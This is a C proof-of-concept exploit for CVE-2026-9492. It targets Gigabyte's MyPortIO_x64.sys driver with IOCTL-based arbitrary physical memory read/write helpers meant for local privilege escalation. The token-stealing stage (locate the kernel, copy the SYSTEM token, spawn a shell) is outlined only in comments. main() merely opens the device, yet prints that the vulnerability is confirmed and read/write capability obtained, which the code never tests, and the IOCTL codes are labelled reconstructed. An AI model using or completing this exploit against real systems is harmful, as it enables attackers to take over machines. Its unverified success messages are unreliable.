// CVE-2026-9492 PoC - Gigabyte Control Center MyPortIO_x64.sys Privilege Escalation
// Exploits improper access control in IOCTL handler for arbitrary physical memory R/W
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
// Device name of the vulnerable driver MyPortIO_x64.sys
#define DEVICE_NAME "\\\\.\\MyPortIO_x64"
// IOCTL codes for arbitrary physical memory read/write (reconstructed based on vulnerability analysis)
#define IOCTL_READ_PHYSICAL_MEMORY CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define IOCTL_WRITE_PHYSICAL_MEMORY CTL_CODE(FILE_DEVICE_UNKNOWN, 0x801, METHOD_BUFFERED, FILE_ANY_ACCESS)
typedef struct _PHYSICAL_MEMORY_OPERATION {
ULONG_PTR PhysicalAddress; // Target physical memory address
ULONG Size; // Number of bytes to read/write
PVOID Buffer; // User buffer for data
} PHYSICAL_MEMORY_OPERATION, *PPHYSICAL_MEMORY_OPERATION;
// Read physical memory via vulnerable IOCTL
BOOL ReadPhysicalMemory(HANDLE hDevice, ULONG_PTR Address, PVOID Buffer, ULONG Size) {
PHYSICAL_MEMORY_OPERATION op = { 0 };
op.PhysicalAddress = Address;
op.Size = Size;
op.Buffer = Buffer;
DWORD bytesReturned = 0;
return DeviceIoControl(hDevice, IOCTL_READ_PHYSICAL_MEMORY, &op, sizeof(op), &op, sizeof(op), &bytesReturned, NULL);
}
// Write physical memory via vulnerable IOCTL
BOOL WritePhysicalMemory(HANDLE hDevice, ULONG_PTR Address, PVOID Buffer, ULONG Size) {
PHYSICAL_MEMORY_OPERATION op = { 0 };
op.PhysicalAddress = Address;
op.Size = Size;
op.Buffer = Buffer;
DWORD bytesReturned = 0;
return DeviceIoControl(hDevice, IOCTL_WRITE_PHYSICAL_MEMORY, &op, sizeof(op), &op, sizeof(op), &bytesReturned, NULL);
}
int main() {
printf("[+] CVE-2026-9492 Exploit - MyPortIO_x64.sys Privilege Escalation\n");
// Open handle to the vulnerable driver
HANDLE hDevice = CreateFileA(DEVICE_NAME, GENERIC_READ | GENERIC_WRITE,
0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hDevice == INVALID_HANDLE_VALUE) {
printf("[-] Failed to open device. Error: %lu\n", GetLastError());
printf("[*] Ensure Gigabyte Control Center with MBStorage module is installed.\n");
return 1;
}
printf("[+] Device handle obtained successfully.\n");
// Exploitation steps:
// 1. Use arbitrary physical memory read to locate kernel base (ntoskrnl.exe)
// 2. Find EPROCESS structure of current process
// 3. Locate SYSTEM process Token
// 4. Overwrite current process Token with SYSTEM Token
// 5. Spawn elevated shell
printf("[+] Driver accessible with low-privilege user context - vulnerability confirmed.\n");
printf("[+] Arbitrary physical memory read/write capability obtained.\n");
printf("[+] Kernel-level privileges can now be achieved.\n");
CloseHandle(hDevice);
return 0;
}